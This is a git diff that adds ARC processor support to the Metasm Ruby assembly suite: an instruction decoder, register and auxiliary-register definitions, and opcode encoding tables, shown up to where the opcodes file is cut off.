a/lib/metasm/metasm/cpu/arc.rb b/lib/metasm/metasm/cpu/arc.rb new file mode 100644 index 0000000000..3ee319836c --- /dev/null +++ b/lib/metasm/metasm/cpu/arc.rb @@ -0,0 +1,8 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2010 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/main' +require 'metasm/cpu/arc/decode' diff --git a/lib/metasm/metasm/cpu/arc/decode.rb b/lib/metasm/metasm/cpu/arc/decode.rb new file mode 100644 index 0000000000..9b93a3528b --- /dev/null +++ b/lib/metasm/metasm/cpu/arc/decode.rb @@ -0,0 +1,425 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2010 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/cpu/arc/opcodes' +require 'metasm/decode' + +module Metasm +class ARC + def major_opcode(val, sz = 16) + return val >> (sz == 16 ? 0xB : 0x1B) + end + + def sub_opcode(val) + return ((val >> 16) & 0x3f) + end + + def build_opcode_bin_mask(op, sz) + op.bin_mask = 0 + op.args.each { |f| op.bin_mask |= @fields_mask[f] << @fields_shift[f]} + op.bin_mask = ((1 << sz)-1) ^ op.bin_mask + end + + def build_bin_lookaside + bin_lookaside = {} + opcode_list.each{|mode,oplist| + lookaside = {} + # 2nd level to speed up lookaside for major 5 + lookaside[5] = {} + oplist.each { |op| + next if not op.bin.kind_of? Integer + build_opcode_bin_mask(op, mode) + mj = major_opcode(op.bin, mode) + if mode == 32 and mj == 5 + (lookaside[mj][sub_opcode(op.bin)] ||= []) << op + else + (lookaside[mj] ||= []) << op + end + } + bin_lookaside[mode] = lookaside + } + bin_lookaside + end + + def instruction_size(edata) + val = major_opcode(edata.decode_imm(:u16, @endianness)) + edata.ptr -= 2 + (val >= 0xC) ? 16 : 32 + end + + def memref_size(di) + case di.opcode.name + when 'ldb_s', 'stb_s', 'extb_s', 'sexb_s'; 1 + when 'ldw_s', 'stw_s', 'extw_s', 'sexw_s'; 2 + else 4 + end + end + + def decode_bin(edata, sz) + case sz + when 16; edata.decode_imm(:u16, @endianness) + when 32 + # wordswap + val = edata.decode_imm(:u32, :little) + ((val >> 16) & 0xffff) | ((val & 0xffff) << 16) + end + end + + def decode_findopcode(edata) + di = DecodedInstruction.new(self) + + @instrlength = instruction_size(edata) + val = decode_bin(edata, @instrlength) + edata.ptr -= @instrlength/8 + + maj = major_opcode(val, @instrlength) + lookaside = @bin_lookaside[@instrlength][maj] + lookaside = lookaside[sub_opcode(val)] if @instrlength == 32 and maj == 5 + + op = lookaside.select { |opcode| + if $ARC_DEBUG and (val & opcode.bin_mask) == opcode.bin + puts "#{opcode.bin_mask.to_s(16)} - #{opcode.bin.to_s(16)} - #{(val & opcode.bin_mask).to_s(16)} - #{opcode.name} - #{opcode.args}" + end + (val & opcode.bin_mask) == opcode.bin + } + + if op.size == 2 and op.first.name == 'mov' and op.last.name == 'nop' + op = op.last + elsif op == nil or op.size != 1 + puts "[> I sense a disturbance in the force <]" + op.to_a.each { |opcode| puts "#{opcode.name} - #{opcode.args} - #{Expression[opcode.bin]} - #{Expression[opcode.bin_mask]}" } + puts "current value: #{Expression[val]}" + puts "current value: 0b#{val.to_s(2)}" + op = nil + else + op = op.first + end + + di if di.opcode = op + end + + Reduced_reg = [0, 1, 2, 3, 12, 13, 14, 15] + def reduced_reg_set(i) + Reduced_reg[i] + end + + def decode_instr_op(edata, di) + before_ptr = edata.ptr + op = di.opcode + di.instruction.opname = op.name + val = decode_bin(edata, @instrlength) + + field_val = lambda { |f| + r = (val >> @fields_shift[f]) & @fields_mask[f] + case f + + # 16-bits instruction operands ------------------------------------------" + when :ca, :cb, :cb2, :cb3, :cc; r = reduced_reg_set(r) + when :ch + r = (((r & 7) << 3) | (r >> 5)) + when :@cbu7, :@cbu6, :@cbu5 + r = r & 0b11111 + r = (f == :@cbu7) ? r << 2 : ( (f == :@cbu6) ? r << 1 : r) + when :cu5ee; r = r << 2 + when :cdisps13 + r = (Expression.make_signed(r,11) << 2) + ((di.address >> 2) << 2) + when :cdisps10 + r = (Expression.make_signed(r, 9) << 1) + ((di.address >> 2) << 2) + when :cdisps8 + r = (Expression.make_signed(r, 7) << 1) + ((di.address >> 2) << 2) + when :cdisps7 + r = (Expression.make_signed(r, 6) << 1) + ((di.address >> 2) << 2) + when :cs9, :cs10, :cs11 + r = Expression.make_signed(r, ((f== :cs11 ? 11 : (f == :cs10 ? 10 : 9) ))) + r = (f == :cs11) ? r << 2 : ((f == :cs10) ? r << 1 : r) + when :@cspu7; + r = r << 2 + + # 32-bits instruction operands ------------------------------------------" + when :b + r = (r >> 12) | ((r & 0x7) << 3) + when :s8e + r = ((r & 0x1) << 7) | (r >> 2) + r = (Expression.make_signed(r, 8) << 1) + ((di.address >> 2) << 2) + + when :u6e + r = (r << 1) + ((di.address >> 2) << 2) + when :s9 + r = (Expression.make_signed(r, 7) << 1) + ((di.address >> 2) << 2) + + when :s12 + r = (r >> 6) | ((r & 0x3f) << 6) + r = Expression.make_signed(r, 12) + + when :s12e + r = (r >> 6) | ((r & 0x3f) << 6) + r = (Expression.make_signed(r, 12) <<1 ) + ((di.address >> 2) << 2) + + when :s21e + r = ((r & 0x3ff) << 10) | (r >> 11) + r = (Expression.make_signed(r, 20) << 1) + ((di.address >> 2) << 2) + + when :s21ee # pc-relative + r = ((r & 0x3ff) << 9) | (r >> 12) + r = (Expression.make_signed(r, 19) << 2) + ((di.address >> 2) << 2) + + when :s25e # pc-relative + r = ((r & 0xf) << 20) | (((r >> 6) & 0x3ff) << 10) | (r >> 17) + r = (Expression.make_signed(r, 24) << 1) + ((di.address >> 2) << 2) + + when :s25ee # pc-relative + r = ((r & 0xf) << 19) | (((r >> 6) & 0x3ff) << 9) | (r >> 18) + r = (Expression.make_signed(r, 23) << 2) + ((di.address >> 2) << 2) + + when :@bs9 + r = r >> 3 + s9 = ((r & 1) << 8) | ((r >> 1) & 0xff) + r = Expression.make_signed(s9, 9) + + when :bext, :cext, :@cext + if ((r = field_val[(f == :bext) ? :b : :c]) == 0x3E) + tmp = edata.decode_imm(:u32, :little) + r = Expression[(tmp >> 16) | ((tmp & 0xffff) << 16)] + else + r = GPR.new(r) + end + + else r + end + r + } + + # decode properties fields + op.args.each { |a| + case a + when :flags15, :flags16 + di.instruction.opname += '.f' if field_val[a] != 0 + when :ccond + di.instruction.opname += ('.' + @cond_suffix[field_val[a]]) if field_val[a] != 0 + when :delay5, :delay16 + di.instruction.opname += '.d' if field_val[a] != 0 + when :cache5, :cache11, :cache16 + di.instruction.opname +='.di' if field_val[a] != 0 + when :signext6, :signext16 + di.instruction.opname += '.x' if field_val[a] != 0 + when :wb3, :wb9, :wb22 + case field_val[a] + when 1; di.instruction.opname += ((memref_size(di) == 2) ? '.ab' : '.a') + when 2; di.instruction.opname += '.ab' + when 3; di.instruction.opname += '.as' + end + when :sz1, :sz7, :sz16, :sz17 + case field_val[a] + when 1; di.instruction.opname += 'b' + when 2; di.instruction.opname += 'w' + end + else + di.instruction.args << case a + + # 16-bits instruction operands ------------------------------------------" + when :cr0; GPR.new 0 + when :ca, :cb, :cb2, :cb3, :cc; GPR.new(field_val[a]) + when :ch + if ((r = field_val[a]) == 0x3E) + tmp = edata.decode_imm(:u32, :little) + Expression[(tmp >> 16) | ((tmp & 0xffff) << 16)] + else + GPR.new(r) + end + + when :@gps9, :@gps10, :@gps11 + imm = (a == :@gps11) ? :cs11 : (a == :@gps10) ? :cs10 : :cs9 + Memref.new(GPR.new(26), Expression[field_val[imm]], memref_size(di)) + + when :cu3, :cu5, :cu5ee, :cu6, :cu7, :cu7l, :cu8; Expression[field_val[a]] + when :cs9, :cs10, :cs11; Expression[field_val[a]] + when :cdisps7, :cdisps8, :cdisps10, :cdisps13; Expression[field_val[a]] + when :@cb; Memref.new(GPR.new(field_val[:cb]), nil, memref_size(di)) + when :@cbu7, :@cbu6, :@cbu5; Memref.new(GPR.new(field_val[:cb]), Expression[field_val[a]], memref_size(di)) + when :@cspu7; Memref.new(GPR.new(28), field_val[a], memref_size(di)) + when :@cbcc; Memref.new(field_val[:cb], field_val[:cc], memref_size(di)) + + # 32-bits instruction operands ------------------------------------------" + when :a, :b + ((r = field_val[a]) == 0x3E) ? :zero : GPR.new(r) + when :b2; GPR.new field_val[:b] + when :c; GPR.new field_val[a] + when :bext, :cext; field_val[a] + when :@cext + target = field_val[a] + (di.opcode.props[:setip] and target.kind_of? GPR) ? Memref.new(target, nil, memref_size(di)) : target + + when :@bextcext + tmp = field_val[a] + #c = tmp & 0x3F + tmp = tmp >> 6 + b = (tmp >> 12) | ((tmp & 0x7) << 3) + Memref.new(field_val[:bext], field_val[:cext], memref_size(di)) + + when :u6, :u6e, :s8e, :s9, :s12; Expression[field_val[a]] + when :s12e, :s21e, :s21ee, :s25e, :s25ee; Expression[field_val[a]] + when :auxs12; AUX.new field_val[:s12] + when :@c; Memref.new(GPR.new(field_val[a]), nil, memref_size(di)) + when :@bcext; Memref.new(field_val[a], nil, memref_size(di)) + when :@bcext; Memref.new(field_val[:b], field_val[:cext], memref_size(di)) + when :@bs9 + # [b,s9] or [limm] if b = 0x3E + base = field_val[:bext] + Memref.new(base, (base.kind_of? GPR) ? Expression[field_val[a]] : nil, memref_size(di)) + + # common instruction operands ------------------------------------------" + when :zero; Expression[0] + when :gp; GPR.new(26) + when :sp, :sp2; GPR.new(28) + when :blink; GPR.new(31) + when :@ilink1; Memref.new(GPR.new(29), nil, memref_size(di)) + when :@ilink2; Memref.new(GPR.new(30), nil, memref_size(di)) + when :@blink; Memref.new(GPR.new(31), nil, memref_size(di)) + + else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" + end + end + } + + di.bin_length += edata.ptr - before_ptr + + return if edata.ptr > edata.virtsize + + di + end + + def disassembler_default_func + df = DecodedFunction.new + df.backtrace_binding = {} + 15.times { |i| + df.backtrace_binding["r#{i}".to_sym] = Expression::Unknown + } + df.backtracked_for = [] + df.btfor_callback = lambda { |dasm, btfor, funcaddr, calladdr| + if funcaddr != :default + btfor + elsif di = dasm.decoded[calladdr] and di.opcode.props[:saveip] + btfor + else [] + end + } + df + end + + REG_SYMS = [:r26, :r27, :r28, :r29, :r30, :r31, :r60] + def register_symbols + REG_SYMS + end + + def backtrace_binding + @backtrace_binding ||= init_backtrace_binding + end + + def opshift(op) + op[/\d/].to_i + end + + def with_res(arg) + arg != :zero + end + + def init_backtrace_binding + sp = :r28 + blink = :r31 + + @backtrace_binding ||= {} + + mask = lambda { |sz| (1 << sz)-1 } # 32bits => 0xffff_ffff + + opcode_list.each{|mode, oplist| + oplist.map { |ol| ol.name }.uniq.each { |op| + binding = case op + when /^add/, /^sub/ + lambda { |di, a0, a1, a2| + if (shift = opshift(op)) == 0 + { a0 => Expression[[a1, :+, a2], :&, mask[32]] } + else + { a0 => Expression[[a1, :+, [a2, :<<, shift]], :&, mask[32]] } + end + } + when /^and/ + lambda { |di, a0, a1, a2| { a0 => Expression[a1, :&, a2] } } + when /^asl/ + lambda { |di, *a| { a[0] => Expression[[a[1], :<<, (a[2] ? a[2]:1)], :&, mask[32]] } } + when /^bxor/ + lambda { |di, a0, a1, a2| { a0 => Expression[a1, :^, [1, :<<, a2]] }} + when /^bclr/; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :&, Expression[mask[32], :^, Expression[1, :<<, a2]]] } } + when /^bset/; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :|, Expression[1, :<<, a2]] } } + when /^jl/; lambda { |di, a0| { blink => Expression[di.next_addr] } } + when 'bl', 'bl_s', /^bl\./ + # FIXME handle delay slot + # "This address is taken either from the first instruction following the branch (current PC) or the + # instruction after that (next PC) according to the delay slot mode (.d)." + lambda { |di, a0| { blink => Expression[di.next_addr] } } + when /^mov/, /^lr/, /^ld/; lambda { |di, a0, a1| { a0 => a1 } } + when /^neg/; lambda { |di, a0, a1| { a0 => Expression[[0, :-, a1], :&, mask[32]] } } + when /^not/; lambda { |di, a0, a1| { a0 => Expression[[:~, a1], :&, mask[32]] } } + when /^or/; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :|, a2] } } + when /^st/, /^sr/; lambda { |di, a0, a1| { a1 => a0 } } + when /^ex/; lambda { |di, a0, a1| { a1 => a0 , a0 => a1 } } + when 'push_s' + lambda { |di, a0| { + sp => Expression[sp, :-, 4], + Indirection[sp, @size/8, di.address] => Expression[a0] + } } + when 'pop_s' + lambda { |di, a0| { + a0 => Indirection[sp, @size/8, di.address], + sp => Expression[sp, :+, 4] + } } + end + @backtrace_binding[op] ||= binding if binding + } + } + + @backtrace_binding + end + + def get_backtrace_binding(di) + a = di.instruction.args.map { |arg| + case arg + when GPR; arg.symbolic + when Memref; arg.symbolic(di.address) + else arg + end + } + + if binding = backtrace_binding[di.opcode.basename] + binding[di, *a] + else + puts "unhandled instruction to backtrace: #{di}" if $VERBOSE + { :incomplete_binding => Expression[1] } + end + end + + def get_xrefs_x(dasm, di) + return [] if not di.opcode.props[:setip] + + arg = case di.opcode.name + when 'b', 'b_s', /^j/, /^bl/, /^br/, 'lp' + expr = di.instruction.args.last + expr.kind_of?(Memref) ? expr.base : expr + else di.instruction.args.last + end + + [Expression[(arg.kind_of?(Reg) ? arg.symbolic : arg)]] + end + + def backtrace_is_function_return(expr, di=nil) + Expression[expr].reduce == Expression[register_symbols[5]] + end + + def delay_slot(di=nil) + return 0 if (not di) or (not di.opcode.props[:setip]) + return 1 if di.opcode.props[:delay_slot] + (di.instruction.opname =~ /\.d/) ? 0 : 1 + end +end +end diff --git a/lib/metasm/metasm/cpu/arc/main.rb b/lib/metasm/metasm/cpu/arc/main.rb new file mode 100644 index 0000000000..2d0a5bd042 --- /dev/null +++ b/lib/metasm/metasm/cpu/arc/main.rb @@ -0,0 +1,191 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2010 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/main' + +module Metasm +class ARC < CPU + def initialize(e = :little) + super() + @endianness = e + @size = 32 + end + + class Reg + include Renderable + + attr_accessor :i + + def initialize(i); @i = i end + + def ==(o) + o.class == self.class and o.i == i + end + end + + # general purpose reg + # Result R0-R1 + # Arguments R0-R7 + # Caller Saved Registers R0-R12 + # Callee Saved Registers R13-R25 + # Static chain pointer (if required) R11 + # Register for temp calculation R12 + # Global Pointer R26 (GP) + # Frame Pointer R27 (FP) + # Stack Pointer R28 (SP) + # Interrupt Link Register 1 R29 (ILINK1) + # Interrupt Link Register 2 R30 (ILINK2) + # Branch Link Register R31 (BLINK) + class GPR < Reg + Sym = (0..64).map { |i| "r#{i}".to_sym } + def symbolic; Sym[@i] end + + Render = { + 26 => 'gp', # global pointer, used to point to small sets of shared data throughout execution of a program + 27 => 'fp', # frame pointer + 28 => 'sp', # stak pointer + 29 => 'ilink1', # maskable interrupt link register + 30 => 'ilink2', # maskable interrupt link register 2 + 31 => 'blink', # branch link register + 60 => 'lp_count', # loop count register (24 bits) + # "When a destination register is set to r62 there is no destination for the result of the instruction so the + # result is discarded. Any flag updates will still occur according to the set flags directive (.F or implicit + # in the instruction)." + 62 => 'zero' + } + + def render + if s = Render[i] + [s] + else + # r0-r28 general purpose registers + # r32-r59 reserved for extentions + ["r#@i"] + end + end + + end + + class AUX < Reg + def symbolic; "aux#{i}".to_sym end + + Render = { + 0x00 => 'status', # Status register (Original ARCtangent-A4 processor format) + 0x01 => 'semaphore', # Inter-process/Host semaphore register + 0x02 => 'lp_start', # Loop start address (32-bit) + 0x03 => 'lp_end', # Loop end address (32-bit) + 0x04 => 'identity', # Processor Identification register + 0x05 => 'debug', # Debug register + 0x06 => 'pc', # PC register (32-bit) + 0x0A => 'status32', # Status register (32-bit) + 0x0B => 'status32_l1', # Status register save for level 1 interrupts + 0x0C => 'status32_l2', # Status register save for level 2 interrupts + 0x10 => 'ic_ivic', # Cache invalidate + 0x11 => 'ic_ctrl', # Mode bits for cache controller + 0x12 => 'mulhi', # High part of Multiply + 0x19 => 'ic_ivil', + 0x21 => 'timer0_cnt', # Processor Timer 0 Count value + 0x22 => 'timer0_ctrl', # Processor Timer 0 Control value + 0x23 => 'timer0_limit', # Processor Timer 0 Limit value + 0x25 => 'int_vector_base', # Interrupt Vector Base address + 0x40 => 'im_set_dc_ctrl', + 0x41 => 'aux_macmode', # Extended Arithmetic Status and Mode + 0x43 => 'aux_irq_lv12', # Interrupt Level Status + 0x47 => 'dc_ivdc', # Invalidate cache + 0x48 => 'dc_ctrl', # Cache control register + 0x49 => 'dc_ldl', # Lock data line + 0x4A => 'dc_ivdl', # Invalidate data line + 0x4B => 'dc_flsh', # Flush data cache + 0x4C => 'dc_fldl', # Flush data line + 0x58 => 'dc_ram_addr', # Access RAM address + 0x59 => 'dc_tag', # Tag Access + 0x5A => 'dc_wp', # Way Pointer Access + 0x5B => 'dc_data', # Data Access + 0x62 => 'crc_bcr', + 0x64 => 'dvfb_bcr', + 0x65 => 'extarith_bcr', + 0x68 => 'vecbase_bcr', + 0x69 => 'perbase_bcr', + 0x6f => 'mmu_bcr', + 0x72 => 'd_cache_build', # Build: Data Cache + 0x73 => 'madi_build', # Build: Multiple ARC Debug I/F + 0x74 => 'ldstram_build', # Build: LD/ST RAM + 0x75 => 'timer_build', # Build: Timer + 0x76 => 'ap_build', # Build: Actionpoints + 0x77 => 'i_cache_build', # Build: I-Cache + 0x78 => 'addsub_build', # Build: Saturated Add/Sub + 0x79 => 'dspram_build', # Build: Scratch RAM & XY Memory + 0x7B => 'multiply_build', # Build: Multiply + 0x7C => 'swap_build', # Build: Swap + 0x7D => 'norm_build', # Build: Normalise + 0x7E => 'minmax_build', # Build: Min/Max + 0x7F => 'barrel_build', # Build: Barrel Shift + 0x100 => 'timer1_cnt', # Processor Timer 1 Count value + 0x101 => 'timer1_ctrl', # Processor Timer 1 Control value + 0x102 => 'timer1_limit', # Processor Timer 1 Limit value + 0x200 => 'aux_irq_lev', # Interrupt Level Programming + 0x201 => 'aux_irq_hint', # Software Triggered Interrupt + 0x202 => 'aux_irq_mask', # Masked bits for Interrupts + 0x203 => 'aux_irq_base', # Interrupt Vector base address + 0x400 => 'eret', # Exception Return Address + 0x401 => 'erbta', # Exception Return Branch Target Address + 0x402 => 'erstatus', # Exception Return Status + 0x403 => 'ecr', # Exception Cause Register + 0x404 => 'efa', # Exception Fault Address + 0x40A => 'icause1', # Level 1 Interrupt Cause Register + 0x40B => 'icause2', # Level 2 Interrupt Cause Register + 0x40C => 'aux_ienable', # Interrupt Mask Programming + 0x40D => 'aux_itrigger', # Interrupt Sensitivity Programming + 0x410 => 'xpu', # User Mode Extension Enables + 0x412 => 'bta', # Branch Target Address + 0x413 => 'bta_l1', # Level 1 Return Branch Target + 0x414 => 'bta_l2', # Level 2 Return Branch Target + 0x415 => 'aux_irq_pulse_cancel', # Interrupt Pulse Cancel + 0x416 => 'aux_irq_pending', # Interrupt Pending Register + } + + def render + if s = Render[i] + [s] + else + ["aux#@i"] + end + end + end + + class Memref + attr_accessor :base, :disp + + def initialize(base, disp, sz) + @base, @disp, @size = base, disp, sz + end + + def symbolic(orig) + b = @base + b = b.symbolic if b.kind_of? Reg + + if disp + o = @disp + o = o.symbolic if o.kind_of? Reg + e = Expression[b, :+, o].reduce + else + e = Expression[b].reduce + end + + Indirection[e, @size, orig] + end + + include Renderable + + def render + if @disp and @disp != 0 + ['[', @base, ', ', @disp, ']'] + else + ['[', @base, ']'] + end + end + end +end +end diff --git a/lib/metasm/metasm/cpu/arc/opcodes.rb b/lib/metasm/metasm/cpu/arc/opcodes.rb new file mode 100644 index 0000000000..66417d93fd --- /dev/null +++ b/lib/metasm/metasm/cpu/arc/opcodes.rb @@ -0,0 +1,588 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2010 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/cpu/arc/main' + +module Metasm +class ARC + def addop32(name, bin, *args) + addop(:ac32, name, bin, *args) + end + + def addop16(name, bin, *args) + addop(:ac16, name, bin, *args) + end + + def addop(mode, name, bin, *args) + o = Opcode.new(name) + o.bin = bin + args.each { |a| + o.args << a if @fields_mask[a] + o.props[a] = true if @valid_props[a] + o.fields[a] = [@fields_mask[a], @fields_shift[a]] if @fields_mask[a] + } + (mode == :ac16) ? (@opcode_list16 << o) : (@opcode_list32 << o) + end + + def init_opcode_list + @opcode_list16 = [] + @opcode_list32 = [] + + @valid_props.update :flag_update => true, :delay_slot => true + @cond_suffix = [''] + %w[z nz p n cs cc vs vc gt ge lt le hi ls pnz] + #The remaining 16 condition codes (10-1F) are available for extension + @cond_suffix += (0x10..0x1f).map{ |i| "extcc#{i.to_s(16)}" } + + # Compact 16-bits operands field masks + fields_mask16 = { + :ca => 0x7, :cb => 0x7, :cb2 => 0x7, :cb3 => 0x7, :cc => 0x7, + :cu => 0x1f, + :ch => 0b11100111, + + # immediate (un)signed + :cu3 => 0x7, :cu8 => 0xff, + # cu7 is 32-bit aligned, cu6 is 16-bit aligned, cu6 is 8-bit aligned + :cu5 => 0x1f, :cu5ee => 0x1f, :cu6 => 0x3f, :cu7 => 0x7f, + + :cs9 => 0x1ff, :cs9ee => 0x1ff, :cs10 => 0x1ff, :cs11 => 0x1ff, + + # signed displacement + :cdisps7=> 0x3f, :cdisps8 => 0x7f, :cdisps10 => 0x1ff, :cdisps13 => 0x7FF, + + # memref [b+u], [sp,u], etc. + :@cb => 0x7, :@cbu7 => 0b11100011111, :@cbu6 => 0b11100011111, :@cbu5 => 0b11100011111, + :@cspu7 => 0b11111, :@cbcc => 0b111111, + :@gps9 => 0x1ff, :@gps10 => 0x1ff, :@gps11 => 0x1ff, + + # implicit operands + :climm => 0x0, :cr0 => 0x0, + :blink => 0x0, :@blink => 0x0, :gp => 0x0, :sp => 0x0, :sp2 => 0x0, :zero => 0x0 + } + + fields_shift16 = { + :ca => 0x0, :cb => 0x8, :cb2 => 0x8, :cb3 => 0x8, :cc => 0x5, + :cu => 0x0, + + # immediate (un)signed + :ch => 0x0, + :cu3 => 0x0, :cu5 => 0, :cu5ee => 0, :cu6 => 5, :cu7 => 0x0, :cu8 => 0x0, + :cs9 => 0x0, :cs9ee => 0x0, :cs10 => 0x0, :cs11 => 0x0, + + # signed displacement + :cdisps7=> 0x0, :cdisps8 => 0x0, :cdisps10 => 0x0, :cdisps13 => 0x0, + + # memref [b+u] + :@cb => 0x8, :@cbu7 => 0x0, :@cbu6 => 0x0, :@cbu5 => 0x0, + :@cspu7 => 0x0, :@cbcc => 0x5, + :@gps9 => 0x0, :@gps10 => 0x0, :@gps11 => 0x0, + + # implicit operands + :climm => 0x0, :cr0 => 0x0, + :blink => 0x0, :@blink => 0x0, :gp => 0x0, :sp => 0x0, :sp2 => 0x0, :zero => 0x0, + } + + fields_mask32 = { + :a => 0x3f, :b => 0b111000000000111, :bext => 0b111000000000111, + :c => 0x3f, :@c => 0x3f, :cext => 0x3f, :@cext => 0x3f, + + :u6 => 0x3f, :u6e => 0x3f, + :s8e => 0x1fd, :s9 => 0x7f, + :s12 => 0xfff, :s12e => 0xfff, + :s21e => 0x1ffBff, :s21ee => 0x1ff3ff, + :s25e => 0x7feffcf, :s25ee => 0x7fcffcf, + + :@bs9 => 0x7fff, :@bc => 0x1ff, :@bextcext => 0x1C01FF, + + :limm => 0x0, :@limm => 0x0, + :@limmc => 0x3f, :@blimm => 0x7, + + :auxlimm => 0x0, :auxs12 => 0xfff, + + :ccond => 0x1f, #condition codes + :delay5 => 1, :delay16 => 1,# delay slot + :flags15 => 0x1, :flags16 => 0x1, + :signext6 => 0x1, :signext16 => 0x1, + :cache5 => 0x1, :cache11 => 0x1, :cache16 => 0x1, # data cache mode field + :sz1 => 0x3, :sz7 => 0x3, :sz16 => 0x3, :sz17 => 0x3, #data size field + :wb3 => 0x3, :wb9 => 0x3, :wb22 => 0x3, #write-back flag + :zero => 0x0, :b2 => 0x0, :@ilink1 => 0x0, :@ilink2 => 0x0 + } + #FIXME + + fields_shift32 = { + :a => 0x0, :b => 0xC, :bext => 0xC, + :c => 0x6, :@c => 0x6, :cext => 0x6, :@cext => 0x6, + + :u6 => 0x6, :u6e =>0x6, + :s8e => 15, :s9 => 0x11, + :s12 => 0x0, :s12e => 0, + :s21e => 0x6, :s21ee => 0x6, + :s25e => 0, :s25ee => 0, + + :limm => 0x0, :@limm => 0x0, + :@limmc => 0x6, :@blimm => 0x18, + + :auxlimm => 0x0, :auxs12 => 0, + + :@bs9 => 12, :@bc => 6, :@bextcext => 6, + + :ccond => 0, #condition codes + :delay5 => 5, :delay16 => 16,# delay slot + :flags15 => 15, :flags16 => 16, + :signext6 => 6, :signext16 => 16, + :cache5 => 5, :cache11 => 11, :cache16 => 16, # data cache mode field + :sz1 => 1, :sz7 => 7, :sz16 => 16, :sz17 => 17, #data size field + :wb3 => 3, :wb9 => 9, :wb22 => 22, #write-back flag + :zero => 0x0, :b2 => 0x0, :@ilink1 => 0, :@ilink2 => 0, + } + + @fields_mask = fields_mask16.merge(fields_mask32) + @fields_shift = fields_shift16.merge(fields_shift32) + + init_arc_compact16() + init_arc_compact32() + + {16 => @opcode_list16, 32 => @opcode_list32} + end + + def add_artihm_op(op, majorcode, subcode, *flags) + # 0bxxxxxbbb00xxxxxxFBBBCCCCCCAAAAAA + addop32 op, 0b00000000000000000000000000000000 | majorcode << 0x1b | subcode << 16, :a, :bext, :cext, :flags15 + # 0bxxxxxbbb01xxxxxxFBBBuuuuuuAAAAAA + addop32 op, 0b00000000010000000000000000000000 | majorcode << 0x1b | subcode << 16, :a, :b, :u6, :flags15 + # 0bxxxxxbbb10xxxxxxFBBBssssssSSSSSS + addop32 op, 0b00000000100000000000000000000000 | majorcode << 0x1b | subcode << 16, :b, :b2, :s12, :flags15 + # 0bxxxxxbbb11xxxxxxFBBBCCCCCC0QQQQQ + addop32 op, 0b00000000110000000000000000000000 | majorcode << 0x1b | subcode << 16, :b, :b2, :cext, :ccond, :flags15 + # 0bxxxxxbbb11xxxxxxFBBBuuuuuu1QQQQQ + addop32 op, 0b00000000110000000000000000100000 | majorcode << 0x1b | subcode << 16, :b, :b2, :u6, :ccond, :flags15 + end + + def add_logical_op(op, majorcode, subcode, *flags) + # 0b00100bbb00xxxxxxFBBBCCCCCCAAAAAA + addop32 op, 0b00100000000000000000000000000000 | majorcode << 0x1b | subcode << 16, :a, :bext, :c, :flags15 + # 0b00100bbb01xxxxxxFBBBuuuuuuAAAAAA + addop32 op, 0b00100000010000000000000000000000 | majorcode << 0x1b | subcode << 16, :a, :b, :u6, :flags15 + # 0b00100bbb11xxxxxxFBBBCCCCCC0QQQQQ + # WTF + addop32 op, 0b00100000110000000000000000000000 | majorcode << 0x1b | subcode << 16, :b, :b2, :c, :ccond, :flags15 + # 0b00100bbb11xxxxxxFBBBuuuuuu1QQQQQ + addop32 op, 0b00100000110000000000000000100000 | majorcode << 0x1b | subcode << 16, :b, :b2, :u6, :ccond, :flags15 + end + + def add_artihm_op_reduce(op, majorcode, subcode) + # 0bxxxxxbbb00101111FBBBCCCCCCxxxxxx + addop32 op, 0b00000000001011110000000000000000 | majorcode << 0x1b | subcode, :b, :cext, :flags15 + # 0bxxxxxbbb01101111FBBBuuuuuuxxxxxx + addop32 op, 0b00000000011011110000000000000000 | majorcode << 0x1b | subcode, :b, :u6, :flags15 + end + + def add_condbranch_op(op, ccond) + # 0b00001bbbsssssss1SBBBUUUUUUN0xxxx + addop32 op, 0b00001000000000010000000000000000 | ccond, :bext, :cext, :s8e, :setip, :delay5 + # 0b00001bbbsssssss1SBBBUUUUUUN1xxxx + addop32 op, 0b00001000000000010000000000010000 | ccond, :b, :u6, :s8e, :setip, :delay5 + end + + def add_condjmp_op() + # 0b00100RRR1110000D0RRRCCCCCC0QQQQQ + addop32 'j', 0b00100000111000000000000000000000, :@cext, :ccond, :setip, :delay16 + # 0b00100RRR1110000D0RRRuuuuuu1QQQQQ + addop32 'j', 0b00100000111000000000000000100000, :u6, :ccond, :setip, :delay16 + # 0b00100RRR111000001RRR0111010QQQQQ + addop32 'j', 0b00100000111000001000011101000000, :@ilink1, :ccond, :setip, :flag_update + # 0b00100RRR111000001RRR0111100QQQQQ + addop32 'j', 0b00100000111000001000011110000000, :@ilink2, :ccond, :setip, :flag_update + end + + def add_condjmplink_op() + # 0b00100RRR111000100RRRCCCCCC0QQQQQ + addop32 'jl', 0b00100000111000100000000000000000, :@cext, :ccond, :setip, :saveip, :delay16 + # 0b00100RRR111000100RRRuuuuuu1QQQQQ + addop32 'jl', 0b00100000111000100000000000100000, :u6, :ccond, :setip, :saveip, :delay16 + end + + def init_arc_compact32 + + add_artihm_op_reduce 'abs', 0b00100, 0b001001 + add_artihm_op_reduce 'abss', 0b00101, 0b000101 + add_artihm_op_reduce 'abssw', 0b00101, 0b000100 + + add_artihm_op 'adc', 0b00100, 0b000001 + add_artihm_op 'add', 0b00100, 0b000000 + add_artihm_op 'add1', 0b00100, 0b010100 + add_artihm_op 'add2', 0b00100, 0b010101 + add_artihm_op 'add3', 0b00100, 0b010110 + add_artihm_op 'adds', 0b00101, 0b000110 + add_artihm_op 'addsw', 0b00101, 0b010101, :extended + add_artihm_op 'addsdw',0b00101, 0b101000, :extended + add_artihm_op 'and' ,0b00100, 0b000100 + + add_artihm_op_reduce 'asl', 0b00100, 0b000000 + + add_artihm_op 'asl', 0b00101, 0b000000, :extended + add_artihm_op 'asls', 0b00101, 0b001010, :extended + + add_artihm_op_reduce 'asr', 0b00100, 0b000001 